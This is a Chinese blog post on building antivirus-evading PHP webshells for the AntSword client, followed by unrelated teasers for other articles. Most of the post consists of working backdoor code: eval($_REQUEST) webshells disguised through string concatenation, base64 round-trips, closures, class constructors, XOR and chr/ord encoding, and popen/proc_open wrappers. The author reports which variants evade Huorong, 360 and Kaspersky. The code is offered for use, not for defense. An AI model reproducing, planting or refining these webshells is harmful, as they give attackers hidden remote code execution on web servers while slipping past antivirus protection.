蚁剑编码器编写——php木马免杀

蚁剑编码器编写——php木马免杀
我的想法是 木马要先免杀,能够落地,再去考虑流量层面的问题

举几个例子演示一下

命令执行与代码执行是有比较大的区别,蚁剑执行的是php代码,而system,proc_open,passthru,exec,shell_exec,反引号等都是命令执行,举个例子

<?php eval($_REQUEST["a"]);?> //蚁剑可以连接成功,但是无法直接拼接执行命令
<?php passthru($_REQUEST["a"]);?>//蚁剑会显示数据为空,但是可以拼接执行命令

在这里插入图片描述
而能够执行多行php代码的函数也就只有eval,无论蚁剑还是godzilla,都是通过代码执行进而命令执行,所以你会看到所有的明文马儿里面都是有eval函数的,那么也就是说eval函数是无法替换的
那么就会有两个方面,加密再解密eval函数,更改eval写法

更改eval写法,举个例子

<?php eval("/*echo*/".$_REQUEST["a"]);?>

在这里插入图片描述
或者

<?php eval($_REQUEST["a"]."#aaa");?>

也是可以的。eval本身是支持字符串连接的
在这里插入图片描述
当然了,这已经不免杀了,那么加解密再来一下,
base64

<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?>

死在火绒手里
那么再加一个参数

<?php eval(base64_decode(base64_encode($_REQUEST["a"])).$_REQUEST["b"]."#aaa");?>

又死了

加个条件判断

<?php if($_REQUEST["b"]=null){eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");}else{echo $_REQUEST["b"];}
?>

继续

<?php
$code='$a;';$func=function ($a) use ($code){return eval($code);};echo $func(eval($_REQUEST["a"]))?>

又死在火绒的刀下
多加一层

<?php
function a($b){return function ($c) use($b){return eval($c);};
}
$d=a('aaa');
echo $d(eval($_REQUEST["a"]))
?>

火绒的刀不太硬啊
在这里插入图片描述

魔术方法

<?php
class test {public function __construct($b = null) {if ($b !== null) {eval($b);}}
}
$b=$_REQUEST["a"];
$test = new Test($b);
?>

在这里插入图片描述
当然了,360的刀到目前来说还是挺硬的

来个简单的加解密

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo eval($decryptedData);
?>

也不行,那我加个@

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>

在这里插入图片描述

这也是成功拿下,当然了,你们要是把之前的马儿也加个@,或许有奇效

继续绕一下卡巴斯基
外面一层用其他函数替代

<?php
$a="aaaa";
$a=$_REQUEST["a"];
$handle = popen(@eval($a), 'r');
if ($handle) {while (!feof($handle)) {$buffer = fgets($handle);echo $buffer;}pclose($handle);
}

在这里插入图片描述

那再换一个

<?php
$descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);if (is_resource($process)) {$stdout = stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[0]);echo "$stdout";$return_value = proc_close($process);}

擦擦擦 竟然被360杀了,加解密一次

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}$descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);if (is_resource($process)) {$stdout = stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[0]);echo "$stdout";$return_value = proc_close($process);}

在这里插入图片描述
也是成功拿下,当然了,多写几个加密套在一起都可以免杀

chr配合ord加解密

<?php
function simpleTransform($str, $offset = 1) {$transformed = '';for ($i = 0; $i < strlen($str); $i++) {$transformed .= chr((ord($str[$i]) + $offset) % 256);}return $transformed;
}$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {$reversed = '';for ($i = 0; $i < strlen($str); $i++) {$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);}return $reversed;
}$reversed = reverseTransform($transformed, 3);
echo eval($reversed);

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/44462.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Adobe Illustrator 2021 for mac/Win:专业矢量图形设计的巅峰之作

Adobe Illustrator 2021作为Adobe公司旗下的旗舰矢量图形设计软件&#xff0c;无论是对于Mac还是Windows用户&#xff0c;都提供了强大而灵活的设计工具&#xff0c;让设计师们能够轻松应对各种复杂的图形设计挑战。这款软件以其卓越的性能、丰富的功能和友好的用户界面&#x…

后悔没早点考?揭晓六西格玛证书背后的惊人好处

在这个竞争激烈的时代&#xff0c;不断提升自我价值和专业能力是每个职场人士都需要面对的问题。而六西格玛证书&#xff0c;作为一个备受瞩目的职业资格认证&#xff0c;其背后的好处和价值已经远超出了人们的想象。深圳天行健企业管理咨询公司解析如下&#xff1a; 一、提升职…

镍氢电池性能不减,你敢信?

在科技领域&#xff0c;研究者的探索永无止境&#xff0c;尤其在可再生能源和电动交通工具迅速发展的今天&#xff0c;一种成熟的可充电电池技术——镍氢电池&#xff0c;在多个领域中发挥着至关重要的作用。它不仅环保、高效&#xff0c;还具有出色的循环次数特性&#xff0c;…

MySQL Undo Log

总结自bojiangzhou undo log称为撤销日志或回滚日志。在一个事务中进行增删改操作时&#xff0c;都会记录对应的 undo log。在对数据库进行修改前&#xff0c;会先记录对应的 undo log&#xff0c;然后在事务失败或回滚的时候&#xff0c;就可以用这些 undo log 来将数据回滚到…

除自身以外数组的乘积_前缀和

文章目录 1、描述2、思路4、notes6、code 1、描述 题目链接 238.除自身以外数组的乘积 给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素…

iPhone数据恢复篇:iPhone 数据恢复软件有哪些

问题&#xff1a;iPhone 15 最好的免费恢复软件是什么&#xff1f;我一直在寻找一个恢复程序来恢复从iPhone中意外删除的照片&#xff0c;联系人和消息&#xff0c;但是我有很多选择。 谷歌一下&#xff0c;你会发现许多付费或免费的iPhone数据恢复工具&#xff0c;声称它们可…

数据结构--二叉树相关性质

1.性质 1.满二叉树每层节点个数&#xff1a;等比数列 3.&#xff08;重要&#xff09;任意二叉树&#xff1a;度为0&#xff08;叶子节点&#xff09;的比度为2的永远多一个。。度&#xff1a;就是看有多少孩子 如下图解析&#xff1a;&#xff08;用推到归纳来分析&#xff…

【测开能力提升-fastapi框架】介绍简单使用

0. 前期说明 立了很多flag(开了很多专题)&#xff0c;但坚持下来的没几个。也干了很多测试工作(起初是硬件(Acoustic方向)测试 - 业务功能测试 - 接口测试 - 平台功能测试 - 数据库测试 - py自动化测试 - 性能测试 - 嵌入式测试 - 到最后的python测试开发)&#xff0c;最终还是…

股票分析系统设计方案大纲与细节

股票分析系统设计方案大纲与细节 一、引言 随着互联网和金融行业的迅猛发展,股票市场已成为重要的投资渠道。投资者在追求财富增值的过程中,对股票市场的分析和预测需求日益增加。因此,设计并实现一套高效、精准的股票分析系统显得尤为重要。本设计方案旨在提出一个基于大…

3d已经做好的模型怎么改单位?---模大狮模型网

在展览3D模型设计行业中&#xff0c;经常会遇到需要将已完成的模型进行单位转换的需求。这可能涉及从一种度量单位转换为另一种&#xff0c;例如从英制单位转换为公制单位&#xff0c;或者根据特定的展览场地要求进行尺寸调整。本文将探讨如何有效地修改已完成的3D模型的单位&a…

VS Code 扩展如何发布到私有Nexus的正确姿势

VS Code扩展的发布 VS Code 扩展的发布需要使用到vsce&#xff0c;vsce是一个用于打包、发布和管理 VS Code 扩展的命令行工具。可以通过 npm 来全局安装它&#xff1a; npm install -g vsce发布扩展到微软的应用市场 VS Code 的应用市场基于微软自己的 Azure DevOps。要发布…

redis的部署及基本使用

一、redis部署 1、关闭防火墙 关闭防火墙&#xff1a; systemctl stop firewalld.service 状态&#xff1a; firewall-cmd --state 卸载防火墙 yum remove firewalld 2、CentOS7部署redis 1、检查编译运行环境&#xff0c;是否有 GCC 编译器 检查环境&#xff08;gcc&…

防御---001

一、实验拓扑二、要求 1&#xff0c;DMZ区内的服务器&#xff0c;办公区仅能在办公时间内(9:00 - 18:00)可以访问&#xff0c;生产区的的设备全天可以访问. 2&#xff0c;生产区不允许访问互联网&#xff0c;办公区和游客区允许访问互联网 3,办公区设备10.0.2.10不允许访问DMZ…

Linux的tmp目录占用空间100%问题分析和解决

一、背景 系统运行期间&#xff0c;客户突然反馈上传文档传不上去。研发立马排查日志&#xff0c;发现日志中出现大量的“No space avaliable on disk”&#xff0c;下意识应用服务器磁盘满了&#xff0c;赶快连上服务器查看磁盘空间占用情况&#xff1a; 黑人问号脸&#xff…

前端程序员常用快捷键

一些常用的快捷键 我们在开发时为了提高代码编写效率&#xff0c;通常会使用一些快捷键。我们开发工具自带的快捷比较多&#xff0c;我这里不一一列举了&#xff0c;我把一些常用的快捷键拿出来给大家大致讲一讲&#xff0c;我这里以window电脑为例&#xff0c;如果你mac电脑&a…

利用Hbuilder创建vue3的web项目

大体流程如下 npm install vue-router4 下载完&#xff0c;就创建完了

【概率统计】如何通俗易懂的理解P值

通俗易懂的P值解析&#xff1a;用简单例子理解统计概念 什么是P值&#xff1f; P值是统计学中的一个概念&#xff0c;用来评估实验结果的罕见程度。它并不能直接告诉实验是否成功或假设是否正确&#xff0c;而是帮助判断在假设成立的情况下&#xff0c;观察到的结果有多罕见。…

模版初阶(更新)

文章目录 模版介绍函数模版模版匹配规则类模版结言 模版介绍 函数模版分为两个类型&#xff1a; 函数模版类模版 函数模版 语法格式&#xff1a; t e m p l a t e < t y p n a m e T 1 , t y p n a m e T 2... > template<typname T1,typname T2...> template&…

用这款免费爬虫神器,不用手动撸代码了!

很多人学习Python和我说是为了“爬虫”&#xff0c;爬虫的用处确实很丰富&#xff0c;如&#xff1a; 市场研究&#xff0c;了解竞争对手信息&#xff0c;爬虫收集舆论信息、产品动态。 价格分析&#xff0c;通过抓取不同平台商品价格&#xff0c;监测价格波动&#xff0c;…

刷题Day48|115.不同的子序列、583. 两个字符串的删除操作、72. 编辑距离

115.不同的子序列 115. 不同的子序列 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a;dp[i][j]&#xff1a;以i-1为结尾的s子序列中出现以j-1为结尾的t的个数。dp[i][j]还是考虑两种情况&#xff1a; s[i - 1] t[j - 1]&#xff0c;dp[i][j] dp[i - 1][j - 1] …